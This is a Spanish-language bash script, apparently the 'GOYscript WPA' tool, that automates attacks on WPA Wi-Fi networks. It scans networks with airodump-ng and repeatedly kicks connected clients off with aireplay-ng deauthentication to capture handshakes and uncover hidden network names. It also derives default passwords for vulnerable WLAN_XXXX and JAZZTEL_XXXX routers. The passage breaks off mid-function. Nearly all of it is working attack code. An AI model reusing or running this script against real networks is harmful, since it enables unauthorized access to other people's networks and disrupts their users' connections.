#!/bin/bash
# CAMBIOS
# version 0.2
#	- version inicial (muy verde todavia)
#	- sólo se obtiene el handshake y se muestran las contraseñas por defecto
#	  de las redes WLAN_XXXX y JAZZTEL_XXXX
# version 1.0
#	- busca contraseñas con diccionarios genéricos cuando no se pueden usar personalizados
#	  para ello se deben guardar los diccionarios en la carpeta "dic" y con el formato generico.<nombre>.dic
#	- por hacer: si se trata de una red vulnerable (WLAN o JAZZTEL), tras guardar la contraseña por defecto,
#		     debería capturar el handshake y confirmar que dicha contraseña es correcta.


##### CONSTANTES #####
VERSION="1.0"

negro="\033[0;30m"
rojo="\033[0;31m"
verde="\033[0;32m"
marron="\033[0;33m"
azul="\033[0;34m"
magenta="\033[0;35m"
cyan="\033[01;36m"
grisC="\033[0;37m"
gris="\033[1;30m"
rojoC="\033[1;31m"
verdeC="\033[1;32m"
amarillo="\033[1;33m"
azulC="\033[1;34m"
magentaC="\033[1;35m"
cyanC="\033[1;36m"
blanco="\033[1;37m"
subrayar="\E[4m"
parpadeoON="\E[5m"
parpadeoOFF="\E[0m"
resaltar="\E[7m"

NUM=1
CERO="0"

HEAD="./software/./head"
TAIL="./software/./tail"
AIRCRACK="./software/./aircrack-ng"
AIREPLAY="./software/./aireplay-ng -R --ignore-negative-one"
AIRMON="./software/./airmon-ng"
AIRODUMP="./software/./airodump-ng"
WLAN_JAZZTEL="./software/./wlan_xxxx"
ONO4XX="./software/./ono4xx"
WLAN4XX="./software/./wlan4xx"
STKEYS="./software/./stkeys"
MACS="./software/MACs.goy"

#LOS SIGUIENTES PARAMETROS SE APLICAN POR DEFECTO CUANDO NO ES POSIBLE
#DETECTAR LA RESOLUCION DE LA PANTALLA. ESTAN OPTIMIZADOS PARA UNA
#RESOLUCION DE 1024x768 PORQUE LA MAYORIA DE LAS DISTRIBUCIONES DE
#LINUX ES LA QUE USAN POR DEFECTO
NORMAL="-fg black -bg white"
INFORMA="-fg black -bg yellow"
MAL="-fg black -bg red"
BIEN="-fg black -bg green"
FUENTE="-fs 8"
BUSCAR_REDES_VENTANA="-geometry 100x100-0+0"
AIRODUMP_VENTANA="-geometry 90x11-0-0"
CLIENTE_VENTANA="-geometry 90x2-0+0"
AIRCRACK_VENTANA="-geometry 70x23-0-0"

#CALCULAMOS LA RESOLUCION DE LA PANTALLA. DEPENDIENDO DE LA VERSION DE "xandr" SE RECORTA DE UNA FORMA U OTRA
which xdpyinfo > /dev/null 2>&1
if [ $? -eq 0 ]
then
	RESOLUCION=`xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3`
else
	which xrandr > /dev/null 2>&1
	if [ $? -eq 0 ]
	then
		RESOLUCION=`xrandr | grep "*" | awk '{print $1}'`
		RESOLUCION=`echo $RESOLUCION | grep "x"`
		if [ "$RESOLUCION" = "" ]
		then
			RESOLUCION=`xrandr | grep "current" | awk -F "current" '{print $2}' | awk -F " " '{print $1$2$3}' | awk -F "," '{print $1}'`
			RESOLUCION=`echo $RESOLUCION | grep "x"`
		fi
		if [ "$RESOLUCION" = "" ]
		then
			RESOLUCION=`xrandr | grep "*" | awk '{print $2$3$4}'`
			RESOLUCION=`echo $RESOLUCION | grep "x"`
		fi
	else
		which Xvesa > /dev/null 2>&1
		if [ $? -eq 0 ]
		then
			RESOLUCION=`Xvesa -listmodes 2>&1 | grep ^0x | awk '{ printf "%s %s\n",$2,$3 }' | sort -n | grep x[1-2][4-6] | tail -n 1 | awk -F 'x' '{print $1"x"$2}'`
		else
			RESOLUCION=""
		fi
	fi
fi
case $RESOLUCION in
	1920x1080)
		FUENTE="-fn 9x15bold"
		BUSCAR_REDES_VENTANA="-geometry 105x100-0+0"
		AIRODUMP_VENTANA="-geometry 100x18-0-0"
		CLIENTE_VENTANA="-geometry 100x5-0+0"
		AIRCRACK_VENTANA="-geometry 80x25-0+0";;
	1280x1024)
		FUENTE="-fs 8"
		AIRODUMP_VENTANA="-geometry 100x31-0-0"
		CLIENTE_VENTANA="-geometry 100x3-0+0"
		AIRCRACK_VENTANA="-geometry 80x25-0-0";;
	1280x800)
		FUENTE="-fs 8"
		AIRODUMP_VENTANA="-geometry 100x14-0-0"
		CLIENTE_VENTANA="-geometry 100x3-0+0"
		AIRCRACK_VENTANA="-geometry 80x25-0-0";;
	1024x600)
		FUENTE="-fs 8"
		BUSCAR_REDES_VENTANA="-geometry 100x100-0+0"
		AIRODUMP_VENTANA="-geometry 90x11-0-0"
		CLIENTE_VENTANA="-geometry 90x2-0+0"
		AIRCRACK_VENTANA="-geometry 70x23-0-0";;
	"")
		RESOLUCION=""$rojoC"[no detectada]";;
esac

case $TERM in #EN DISTRIBUCIONES COMO BEINI, LOS PARAMETROS DE LA CONSOLA SON DISTINTOS
	rxvt)
		parpadeoON=""
		NORMAL="+sb -fg black -bg white +tr"
		INFORMA="+sb -fg black -bg yellow +tr"
		MAL="+sb -fg black -bg red +tr"
		BIEN="+sb -fg black -bg green +tr"
		FUENTE=""
		BUSCAR_REDES_VENTANA="-geometry 100x59-0+0"
		AIRODUMP_VENTANA="-geometry 100x18-0-0"
		CLIENTE_VENTANA="-geometry 100x2-0+0"
		AIRCRACK_VENTANA="-geometry 70x23-0-0";;
esac

INTERFAZ=0
INTERFAZ_MONITOR=0
$AIRMON stop mon0 > /dev/null 2>&1
TARJETAS_WIFI_DISPONIBLES=`iwconfig --version | grep "Recommend" | awk '{print $1}'`
N_TARJETAS_WIFI=`echo $TARJETAS_WIFI_DISPONIBLES | awk '{print NF}'`

#############
# FUNCIONES #
#############

#HORA DE INICIO
function hora_inicio
{
ano1=`date +%Y`
mes1=`date +%m`
dia1=`date +%d`
hora1=`date +%H`
minutos1=`date +%M`
segundos1=`date +%S`
segundos_del_ano1=`date +%s`
}

#HORA DE FINALIZACION
function hora_fin
{
ano2=`date +%Y`
mes2=`date +%m`
dia2=`date +%d`
hora2=`date +%H`
minutos2=`date +%M`
segundos2=`date +%S`
segundos_del_ano2=`date +%s`
}

#DIFERENCIA DE TIEMPO ENTRE "HORA DE INICIO" Y "HORA DE FINALIZACION"
function calcular_tiempo
{
segundos=`expr $segundos_del_ano2 - $segundos_del_ano1`
minutos=0
horas=0
dias=0
dias=`expr $segundos / 86400`
segundos=`expr $segundos % 86400`
horas=`expr $segundos / 3600`
segundos=`expr $segundos % 3600`
minutos=`expr $segundos / 60`
segundos=`expr $segundos % 60`
}

#DETIENE POSIBLES PROCESOS EN MARCHA (SE HACE 2 VECES SEGUIDAS CON UNA PAUSA ENTRE CADA UNA, PARA ASEGURARSE)
function matar_procesos()
{
echo -e "$cyan""\n$1"
echo -e "$grisC"
killall -q aircrack-ng airodump-ng aireplay-ng packetforge-ng ifconfig dhcpcd dhclient udhcpc > /dev/null 2>&1
kill `ps -A | grep xterm | egrep -v '(GOYscript|goyscript)' | awk '{print $1}'` > /dev/null 2>&1
sleep 2
kill `ps -A | grep xterm | egrep -v '(GOYscript|goyscript)' | awk '{print $1}'` > /dev/null 2>&1
}

#BORRA ARCHIVOS DE SESIONES ANTERIORES
function borrar_sesiones_anteriores
{
if [ -d "./captura" ]
then
	echo -e ""$cyan"Borrando archivos temporales de sesiones anteriores..."$grisC""
	echo
	mv captura/wifis.csv captura/anteriorCSV.wifis > /dev/null 2>&1
	mv captura/clientes.csv captura/anteriorCSV.wifis-clientes > /dev/null 2>&1
	rm -rf captura/red_oculta*  > /dev/null 2>&1
	rm -rf captura/ataque4.cap > /dev/null 2>&1
	rm -rf captura/ataque5.cap > /dev/null 2>&1
	rm -rf captura/wifis* > /dev/null 2>&1
	rm -rf captura/*.kismet.csv > /dev/null 2>&1
	rm -rf captura/*.kismet.netxml > /dev/null 2>&1
	rm -rf captura/*.csv > /dev/null 2>&1
	rm -rf captura/diccionario* > /dev/null 2>&1
fi
mkdir captura > /dev/null 2>&1
mkdir handshakes > /dev/null 2>&1
mkdir wifis  > /dev/null 2>&1
rm -rf *.cap > /dev/null 2>&1
rm -rf *.xor > /dev/null 2>&1
}

#NOMBRE Y VERSION DEL SCRIPT
function version
{
clear
echo -e "$blanco\c"
echo -e "+=========================================+"
echo -e "|      GOYscript WPA $VERSION by GOYfilms      |"
echo -e "+=========================================+"
echo -e $grisC
}

#SELECCION DE TARJETA WiFi
function seleccionar_tarjeta
{
if [ "$TARJETAS_WIFI_DISPONIBLES" = "" ]
then
	echo -e ""$rojoC"ERROR: No se detecto ninguna tarjeta WiFi"
	echo -e "$grisC"
	pulsar_una_tecla
else
	echo -e ""$cyan"Tarjetas WiFi disponibles:"$grisC""
	echo
	x=1
	while [ $x -le $N_TARJETAS_WIFI ]
	do
		INTERFAZ=`echo $TARJETAS_WIFI_DISPONIBLES | awk '{print $'$x'}'`
		DRIVER=`ls -l /sys/class/net/$INTERFAZ/device/driver | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`
		MAC=`ifconfig $INTERFAZ | grep "$INTERFAZ" | $TAIL --bytes 20 | $HEAD --bytes 8 | awk '{print toupper($0)}'` #extraemos la MAC XX:XX:XX (solo los 3 primeros pares)
		if [ "$MAC" = "00-00-00" ] #SI LA INTERFAZ ESTA EN MODO MONITOR VARIA EL METODO PARA EXTRAER LA MAC
		then
			MAC=`ifconfig $INTERFAZ | grep "$INTERFAZ" | awk '{print $5}' | $HEAD --bytes 8 | awk '{gsub(/-/,":"); print}' | awk '{print toupper($0)}'` #extraemos la MAC
		fi
		FABRICANTE_INTERFAZ=`grep $MAC $MACS | awk -F '#' '{print $2}'`
		if [ "$FABRICANTE_INTERFAZ" = "" ]
		then
			FABRICANTE_INTERFAZ="<Desconocido>"
		fi
		if [ $x -eq 1 ]
		then
			echo -e ""$cyan" Nº\tINTERFAZ\tDRIVER\t\tFABRICANTE"
			echo -e ""$cyan" ==\t========\t======\t\t=========="
		fi
		CARACTERES_DRIVER=`echo $DRIVER | wc -c` 
		if [ $CARACTERES_DRIVER -gt 8 ] #CONTROLA LA TABULACION DEPENDIENDO DE LOS CARACTERES QUE TENGA LA VARIABLE "DRIVER"
		then
			TAB=""
		else
			TAB="\t"
		fi
		echo -e ""$amarillo" $x)\t$INTERFAZ \t\t$DRIVER\t"$TAB"$FABRICANTE_INTERFAZ"
		x=$((x+1))
	done
	if [ $N_TARJETAS_WIFI -gt 1 ] # SI DETECTA MAS DE UNA NOS PREGUNTA CUAL QUEREMOS
	then
		echo -e "\n"$cyan"\nSelecciona una tarjeta WiFi:\c"
		echo -e ""$amarillo" \c"
		read -n 1 OPCION
		while [[ $OPCION < 1 ]] || [[ $OPCION > $N_TARJETAS_WIFI ]]
		do
			echo -en "\a\033[10C"$rojoC"OPCION NO VALIDA"$grisC""
			echo -en ""$cyan"\rSelecciona una tarjeta WiFi: "$amarillo"\c"
			read -n 1 OPCION
		done
	else
		OPCION=1
	fi
	echo -en "\a\033[10C                "$grisC"" #BORRA EL MENSAJE DE "OPCION NO VALIDA"
fi
if [ $N_TARJETAS_WIFI -gt 1 ] # SI DETECTA MAS DE UNA VARIA EL MENSAJE
then
	INTERFAZ=`echo $TARJETAS_WIFI_DISPONIBLES | awk '{print $'$OPCION'}'`
	echo -e "\n"
	echo -e ""$cyan"Has seleccionado: "$verdeC"$INTERFAZ"$grisC""
	echo
else
	echo
	echo -e ""$cyan"Solo se ha detectado una tarjeta WiFi: "$verdeC"$INTERFAZ"$grisC""
	echo
fi
}

#MUESTRA LA RESOLUCION DE PANTALLA ACTUAL
function mostrar_resolucion_de_pantalla
{
echo -e ""$cyan"Resolucion de pantalla actual: "$verdeC"$RESOLUCION"$grisC""
echo
}

#INICIALIZACION DE LA TARJETA
function iniciar_tarjeta
{
echo -e ""$cyan"Iniciando la tarjeta WiFi..."$grisC""
echo
ifconfig $INTERFAZ down
MAC_INTERFAZ=`ifconfig $INTERFAZ | grep "$INTERFAZ" | $TAIL --bytes 20 | $HEAD --bytes 17 | awk '{print toupper($0)}'` #extraemos la MAC de la interfaz del comando 'ifconfig'
if [ "$MAC_INTERFAZ" = "00-00-00-00-00-00" ] #SI LA INTERFAZ ESTA EN MODO MONITOR VARIA EL METODO PARA EXTRAER LA MAC
then
	MAC_INTERFAZ=`ifconfig $INTERFAZ | grep "$INTERFAZ" | awk '{print $5}' | $HEAD --bytes 17  | awk '{gsub(/-/,":"); print}' | awk '{print toupper($0)}'` #extraemos la MAC
fi
ifconfig $INTERFAZ up
iwconfig $INTERFAZ rate 1M
}

#ACTIVA EL MODO MONITOR DE LA INTERFAZ
function activar_modo_monitor
{
echo -e ""$cyan"Activando modo monitor en $INTERFAZ [MAC="$MAC_INTERFAZ"]..."$grisC""
echo
$AIRMON start $INTERFAZ $CANAL
ifconfig mon0 > /dev/null 2>&1
if [ $? = 0 ] #SI LA ORDEN ANTERIOR SE COMPLETO CORRECTAMENTE, SIGNIFICA QUE EXISTE LA INTERFAZ "mon0"
then
	INTERFAZ_MONITOR=mon0
else
	INTERFAZ_MONITOR=$INTERFAZ
fi
}

#SELECCION DE LA RED A ATACAR
function seleccionar_red
{
echo -e "$cyan"
echo -e "$parpadeoON+================================+"
echo -e "|                                |"
echo -e "|$parpadeoOFF "$cyan" PULSA CONTROL+C PARA DETENER  $parpadeoON|"
echo -e "|$parpadeoOFF "$cyan" LA  BUSQUEDA  Y  SELECCIONAR  $parpadeoON|"
echo -e "|$parpadeoOFF "$cyan" UNA DE LAS REDES DETECTADAS   $parpadeoON|"
echo -e "|                                |"
echo -e "+================================+"
echo -e "$parpadeoOFF""$grisC"
xterm $NORMAL $FUENTE $BUSCAR_REDES_VENTANA -title "BUSCANDO REDES WiFi" -e $AIRODUMP --encrypt WPA -w ./captura/wifis $INTERFAZ_MONITOR
LINEAS_AP=`cat captura/wifis-01.csv | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` #Nº LINEAS HASTA "Station" o "Cliente" (si se usa el airodump-ng traducido) :D
LINEAS_AP=`expr $LINEAS_AP - 1` #RESTAMOS 1 PARA ELIMINAR TAMBIEN LA LINEA "Station"
$HEAD -n $LINEAS_AP captura/wifis-01.csv &> captura/wifis.csv #GUARDAMOS EN UN ARCHIVO LOS APs
$TAIL -n +$LINEAS_AP captura/wifis-01.csv &> captura/clientes.csv #GUARDAMOS EN OTRO LOS CLIENTES
clear
LINEAS_WIFIS_CSV=`wc -l captura/wifis.csv | awk '{print $1}'`
if [ $LINEAS_WIFIS_CSV -le 3 ] 	#SI EL ARCHIVO "wifis.csv" TIENE 3 LINEAS
then				#ES QUE NO SE DETECTO NINGUNA RED
	echo -e "$rojoC"
	echo "No se encontro ninguna red WiFi."
	echo -e "$grisC"
	if [ -e captura/anteriorCSV.wifis ] #SI EXISTE UNA BUSQUEDA ANTERIOR, LA USAREMOS
	then
		echo -e $verdeC"Se detecto una busqueda anterior. ¡Vamos a usarla!"
		echo -e $grisC
		sleep 2
		clear
		mv captura/anteriorCSV.wifis captura/wifis.csv > /dev/null 2>&1
		mv captura/anteriorCSV.wifis-clientes captura/clientes.csv > /dev/null 2>&1
	else
		pulsar_una_tecla
	fi
fi
rm -rf captura/wifis.goy > /dev/null 2>&1
i=0
while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY
do
	caracteres_mac=${#MAC}
	if [ $caracteres_mac -ge 17 ]
	then
		i=$(($i+1))
		if [[ $POWER -lt 0 ]]
		then
			if [[ $POWER -eq -1 ]]
			then
				POWER=0
			else
				POWER=`expr $POWER + 100`
			fi
		fi
		POWER=`echo $POWER | awk '{gsub(/ /,""); print}'` #ELIMINA LOS ESPACIOS SI LOS HAY
		IV=`echo $IV | awk '{gsub(/ /,""); print}'` #CORRIGE LOS IVs RECORTANDO LOS ESPACIOS
		ESSID=`expr substr "$ESSID" 2 $IDLENGTH` #CORRIGE EL NOMBRE DE LA RED WiFi RECORTANDO EL ESPACIO DEL PRINCIPIO
		if [ $CHANNEL -gt 13 ] || [ $CHANNEL -lt 1 ] #SI EL CANAL NO ESTA ENTRE 1 Y 13 ENTONCES NO ES VALIDO
		then
			CHANNEL=0
		else
			CHANNEL=`echo $CHANNEL | awk '{gsub(/ /,""); print}'` #CORRIGE EL CANAL ELIMINANDO LOS ESPACIOS
		fi
		if [ "$ESSID" = "" ] || [ "$CHANNEL" = "-1" ] #SI EL NOMBRE DE LA RED ESTA VACIO ES QUE ES UNA RED OCULTA
		then
			ESSID="< Oculta >"
		fi
		echo -e "$MAC,$CHANNEL,$IV,$POWER,$ESSID" >> captura/wifis.goy
	fi
done < captura/wifis.csv
sort -t "," -d -k 4 captura/wifis.goy > captura/wifis_ordenado.goy
echo -e ""$cyan"\c"
echo "                Redes WiFi detectadas con contraseña WPA             "
echo "                ========================================             "
echo
echo "  Nº           MAC             CANAL    IVs    SEÑAL    NOMBRE DE RED"
echo "  ==    =================      =====    ===    =====    ============="
i=0
while IFS=, read MAC CANAL IV POTENCIA ESSID
do
	i=$(($i+1))
	if [ $i -le 9 ] #ALINEA A LA DERECHA EL NUMERO DE OPCION
	then
		ESPACIO1=" "
	else
		ESPACIO1=""
	fi
	if [[ $CANAL -le 9 ]] #ALINEA A LA DERECHA EL CANAL
	then
		ESPACIO2=" "
		if [[ $CANAL -eq 0 ]]
		then
			CANAL="-"
		fi
	else
		ESPACIO2=""
	fi
	if [[ $IV -le 9 ]] #ALINEA A LA DERECHA LOS IVs
	then
		ESPACIO3=" "
	else
		ESPACIO3=""
	fi
	if [[ "$POTENCIA" = "" ]]
	then
		POTENCIA=0
	fi
	if [[ $POTENCIA -le 9 ]] #ALINEA A LA DERECHA LA POTENCIA DE LA SEÑAL
	then
		ESPACIO4=" "
	else
		ESPACIO4=""
	fi
	if [[ $IV -eq 0 ]] #SI NO SE HAN CAPTURADO IVs LO CAMBIAMOS POR "-". ME GUSTA MAS PORQUE DESTACA MENOS QUE UN "0"
	then
		IV="-"
	fi
	MAC_GUIONES=`echo $MAC | awk '{gsub(/:/,"-"); print}'`
	EXISTE_CLAVE=`find wifis | grep "$ESSID ($MAC_GUIONES).txt"`
	EXISTE_HANDSHAKE=`find handshakes | grep "$ESSID ($MAC_GUIONES).cap"`
	if [ ! "$EXISTE_CLAVE" = "" ] #CAMBIAMOS EL COLOR DEPENDIENDO DE SI YA TENEMOS LA CLAVE Y OTROS FACTORES
	then
		echo -e "$magenta\c"
	else
		if [ ! "$EXISTE_HANDSHAKE" = "" ] #SINO CAMBIAMOS EL COLOR SI YA TENEMOS EL HANDSHAKE
		then
			echo -e "$marron\c"
		else
			if [ "$ESSID" = "< Oculta >" ] #SI LA RED ESTA OCULTA LA MARCAMOS DE COLOR ROJO
			then
				echo -e "$rojoC\c"
			else
				echo -e "$blanco\c" #SI NO REUNE NINGUNA DE LAS CARACTERISTICAS ANTERIORES, LA LINEA SERA BLANCA
			fi
		fi
	fi
	CLIENTE=`cat captura/clientes.csv | grep $MAC`
	if [ "$CLIENTE" != "" ]
	then
		CLIENTE="#" #MUESTRA UNA ALMOHADILLA EN LAS REDES QUE TIENEN CLIENTES CONECTADOS
	fi
	nombres_ap[$i]=$ESSID
	canales[$i]=$CANAL
	macs[$i]=$MAC
	echo -e " $ESPACIO1$i)$CLIENTE\t$MAC\t$ESPACIO2$CANAL\t$ESPACIO3$IV\t$ESPACIO4$POTENCIA%\t$ESSID"
done < captura/wifis_ordenado.goy
echo
if [ $i -eq 1 ] #SI SOLO SE HA DETECTADO UNA RED YA NO NOS DA A ESCOGER ;-D
then
	SELECCION=1
else
	echo -e ""$cyan"\rSelecciona una red de la lista: "$amarillo"\c"
	read SELECCION
fi
while [[ $SELECCION -lt 1 ]] || [[ $SELECCION -gt $i ]]
do
	echo -en "\a\033[1A\033[40C"$rojoC"OPCION NO VALIDA"$grisC""
	echo -en "\a\r"$cyan"Selecciona una red de la lista: "$amarillo"\c"
	read SELECCION
done
NOMBRE_AP=${nombres_ap[$SELECCION]}
CANAL=${canales[$SELECCION]}
MAC_AP=${macs[$SELECCION]}
echo -e "\a\033[1A\033[40C                "$grisC"" #BORRA EL MENSAJE DE "OPCION NO VALIDA"
MAC_GUIONES=`echo $MAC_AP | awk '{gsub(/:/,"-"); print}'`
hora_inicio
if [ "$NOMBRE_AP" = "< Oculta >" ]
then
	echo -e $rojoC
	echo -e "Has seleccionado una red oculta."
	echo -e "Hay que averiguar algunos datos antes de poder continuar."
	echo -e $grisC
	descubrir_red_oculta
fi
}

#DESCUBRE LOS DATOS QUE FALTAN DE UNA RED OCULTA
function descubrir_red_oculta
{
if [ "$CANAL" = "-" ] || [ $CANAL -lt 1 ] || [ $CANAL -gt 13 ] #SI EL CANAL NO ES VALIDO, SE BUSCA EL CANAL CORRECTO.
then
	echo -e $cyan"   Buscando CANAL... "$grisC" \c"
	xterm $NORMAL $FUENTE $AIRODUMP_VENTANA -title "Buscando el canal de $MAC_AP" -e $AIRODUMP --bssid $MAC_AP -w "captura/red_oculta_canal" $INTERFAZ_MONITOR &
	CANAL=""
	while [[ "$CANAL" = "" ]] || [[ $CANAL -gt 13 ]] || [[ $CANAL -lt 1 ]]
	do
		if [ -e "captura/red_oculta_canal-01.csv" ]
		then
			CANAL=`cat captura/red_oculta_canal-01.csv | $HEAD -n 3 | $TAIL -n 1 | awk -F ',' '{print $4}' | awk '{gsub(/ /,""); print}'`
		fi
	done
	echo -e $verdeC"Encontrado: $CANAL"
	echo -e $grisC
	killall airodump-ng > /dev/null 2>&1
fi
echo -e $cyan"   Buscando NOMBRE DE RED... "$grisC" \c"
xterm $NORMAL $FUENTE $AIRODUMP_VENTANA -title "Buscando el nombre de red de $MAC_AP" -e $AIRODUMP --bssid $MAC_AP -c $CANAL,$CANAL -w "captura/red_oculta_nombre" $INTERFAZ_MONITOR &
NOMBRE_AP=""
CLIENTE=""
while [ "$NOMBRE_AP" = "" ] #BUSCAMOS EL NOMBRE DE LA RED
do
	if [ -e "captura/red_oculta_nombre-01.csv" ]
	then
		NOMBRE_AP=`cat captura/red_oculta_nombre-01.csv | $HEAD -n 3 | $TAIL -n 1 | awk -F ',' '{print $14}' | sed "s/^.\(.*\)/\1/"`
		CLIENTE=`cat captura/red_oculta_nombre-01.csv | $TAIL -n 2 | $HEAD -n 1 | awk -F ',' '{print $1}'`
	fi
	if [ "$CLIENTE" != "" ] #SI HAY UN CLIENTE CONECTADO LO EXPULSAMOS CONSEGUIR EL NOMBRE AL RECONECTARSE
	then
		xterm $BIEN $FUENTE $CLIENTE_VENTANA -title "ATAQUE -0 [Expulsando al cliente del AP]" -e $AIREPLAY -0 1 -a $MAC_AP -c $CLIENTE $INTERFAZ_MONITOR
		CLIENTE=""
	fi
	sleep 5
done
echo -e $verdeC"Encontrado: \"$NOMBRE_AP\""
echo -e $grisC
killall airodump-ng > /dev/null 2>&1
}

#MUESTRA LOS DATOS CON LOS QUE SE VA A TRABAJAR
function mostrar_datos_seleccionados
{
if [ "$FABRICANTE_INTERFAZ" = "" ]
then
	MAC_INTERFAZ_MITAD=`echo $MAC_INTERFAZ | $HEAD --bytes 8`
	FABRICANTE_INTERFAZ=`grep $MAC_INTERFAZ_MITAD $MACS | awk -F '#' '{print $2}'`
fi
MAC_AP_MITAD=`echo $MAC_AP | $HEAD --bytes 8` #recortamos la MAC XX:XX:XX
FABRICANTE_AP=`grep $MAC_AP_MITAD $MACS | awk -F '#' '{print $2}'` #buscamos el fabricante en la base de datos
if [ "$FABRICANTE_AP" = "" ]
then
	FABRICANTE_AP="<Desconocido>"
fi
echo -e "$amarillo"
echo "RESUMEN"
echo "======="
echo
echo -e "   "$subrayar"INTERFAZ"$parpadeoOFF""$amarillo":"
echo "      Nombre..........: $INTERFAZ"
echo "      Modo monitor....: $INTERFAZ_MONITOR"
echo "      MAC.............: $MAC_INTERFAZ"
echo "      Fabricante......: $FABRICANTE_INTERFAZ"
echo
echo -e "   "$subrayar"PUNTO DE ACCESO"$parpadeoOFF""$amarillo":"
echo "      Nombre..........: $NOMBRE_AP"
echo "      MAC.............: $MAC_AP"
echo "      Canal...........: $CANAL"
echo "      Fabricante......: $FABRICANTE_AP"
echo -e "$grisC"

rm -rf captura/"$NOMBRE_AP ($MAC_GUIONES)"* > /dev/null 2>&1
}

#COMPRUEBA SI ES UNA RED WLAN_xxxx o JAZZTEL_xxxx
function comprobar_wlan_jazztel_xxxx
{
echo -e ""$cyan"Comprobando si \"$NOMBRE_AP\" es una red vulnerable..."$grisC""
echo
WLAN=`echo $NOMBRE_AP | cut -c-5`
JAZZTEL=`echo $NOMBRE_AP | cut -c-8`
let NOMBRE_AP_LARGO=`echo -n $NOMBRE_AP | wc -c`
if [ "$WLAN" = "WLAN_" ] && [ $NOMBRE_AP_LARGO -eq 9 ]
then
	echo -e ""$verdeC"Red WLAN_xxxx detectada..."$grisC""
	$WLAN_JAZZTEL $NOMBRE_AP $MAC_AP > /dev/null
	if [ $? -eq 0 ]
	then
		$WLAN_JAZZTEL $NOMBRE_AP $MAC_AP > "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt"
	else
		echo
		echo -e ""$rojoC"\"$NOMBRE_AP\" no es una red WLAN_xxxx vulnerable."$grisC""
		echo
	fi
else
	if [ "$JAZZTEL" = "JAZZTEL_" ] && [ $NOMBRE_AP_LARGO -eq 12 ]
	then
		echo -e ""$verdeC"Red JAZZTEL_xxxx detectada..."$grisC""
		$WLAN_JAZZTEL $NOMBRE_AP $MAC_AP > /dev/null
		if [ $? -eq 0 ]
		then
			$WLAN_JAZZTEL $NOMBRE_AP $MAC_AP > "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt"
		else
			echo
			echo -e ""$rojoC"\"$NOMBRE_AP\" no es una red JAZZTEL_xxxx vulnerable."$grisC""
			echo
		fi
	else
		echo -e ""$rojoC"\"$NOMBRE_AP\" no es una red vulnerable."$grisC""
		echo
	fi
fi
}

#CAPTURAR TRAFICO DE LA RED SELECCIONADA
function captura_de_paquetes
{
xterm $NORMAL $FUENTE $AIRODUMP_VENTANA -title "Capturando trafico de \"$NOMBRE_AP\" #$CERO$NUM" -e $AIRODUMP --berlin 2 --bssid $MAC_AP -c $CANAL,$CANAL -w "captura/$NOMBRE_AP ($MAC_GUIONES)" $INTERFAZ_MONITOR &
}

#SI EL TAMAÑO DEL ARCHIVO EN EL QUE GUARDAMOS LA CAPTURA ES MAYOR DEL TAMAÑO DETERMINADO, SE REINICIA
function controlar_tamano_captura
{
sleep 2
CAPTURANDO=`ps -A | grep airodump-ng | grep -v grep`
while [ ! "$CAPTURANDO" = "" ]
do
	SIZE_CAP=`ls -s "captura/$NOMBRE_AP ($MAC_GUIONES)-$CERO$NUM.cap" | awk '{print $1}'`
	if [ $SIZE_CAP -gt 90 ]
	then
		echo > "captura/REINICIANDO.goy"
		echo -e $amarillo"\r\033[55C Reiniciando captura..."$grisC
		killall airodump-ng > /dev/null 2>&1
		sleep 2
		NUM=$((NUM+1))
		if [ $NUM -lt 10 ]
		then
			CERO="0"
		else
			CERO=""
		fi
		captura_de_paquetes &
		sleep 2
		rm -rf "captura/REINICIANDO.goy"
	fi
	sleep 2
	CAPTURANDO=`ps -A | grep airodump-ng | grep -v grep`
done
}

function calcular_numero_archivo
{
NUM=`ls -1 captura/"$NOMBRE_AP ($MAC_GUIONES)"-*.cap | wc -l`
if [ $NUM -lt 10 ]
then
	CERO="0"
else
	CERO=""
fi
}

#SI HAY CLIENTES CONECTADOS LOS EXPULSAMOS PARA FORZAR LA RECONEXION
function forzar_handshake
{
CLIENTE="" #INICIALIZAMOS LA VARIABLE EN LA QUE GUARDAREMOS LA MAC DEL CLIENTE
CAPTURANDO=`ps -A | grep airodump-ng | grep -v grep`
while [ ! "$CAPTURANDO" = "" ] || [ -e "captura/REINICIANDO.goy" ] #MIENTRAS AIRODUMP SIGA ACTIVO SE BUSCARAN CLIENTES ASOCIADOS
do
	calcular_numero_archivo
	CLIENTES=`cat captura/"$NOMBRE_AP ($MAC_GUIONES)"-$CERO$NUM.csv | grep -v WPA | grep $MAC_AP | awk -F ',' '{print $1}'| awk '{gsub(/ /,""); print}'` #TODOS LOS CLIENTES DETECTADOS
	CUANTOS_CLIENTES=`echo $CLIENTES | wc -w`
	if [ "$CLIENTES" = "" ]
	then
		calcular_numero_archivo
		SIZE_CAP=`ls -s "captura/$NOMBRE_AP ($MAC_GUIONES)-$CERO$NUM.cap" | awk '{print $1}'`
		echo -e $cyan"\r[ $SIZE_CAP KB ] Buscando clientes\c"
		CONT=1
		while [ $CONT -le 25 ]
		do
			echo -e ".\c"
			sleep 0.05
			CONT=$((CONT+1))
		done
		echo -en ""$cyan"\a\033[25D                         \033[25D"
	else
		CONT=1
		while [ $CONT -le $CUANTOS_CLIENTES ]
		do
			CLIENTE=`echo $CLIENTES | awk '{print $'$CONT'}'`
			CLIENTE_MEDIA_MAC=`echo -n $CLIENTE | cut -c-8`
			CLIENTE_FABRICANTE=`grep $CLIENTE_MEDIA_MAC $MACS | awk -F '#' '{print $2}'`
			echo -en $verdeC"\rExpulsando cliente $CLIENTE [$CLIENTE_FABRICANTE]... "
			echo -e $grisC
			xterm $BIEN $FUENTE $CLIENTE_VENTANA -title "ATAQUE -0 [Expulsando al cliente del AP]" -e $AIREPLAY -0 1 -a $MAC_AP -c $CLIENTE $INTERFAZ_MONITOR
			CONT=$((CONT+1))
		done
		CONT=59
		while [ $CONT -ge 1 ]
		do
			calcular_numero_archivo
			DATAS=`cat ./captura/"$NOMBRE_AP ($MAC_GUIONES)"-$CERO$NUM.csv | grep "WPA" | awk '{print $11}' FS=',' | awk '{gsub(/ /,""); print}'`
			if [[ $DATAS -ne 0 ]]
			then
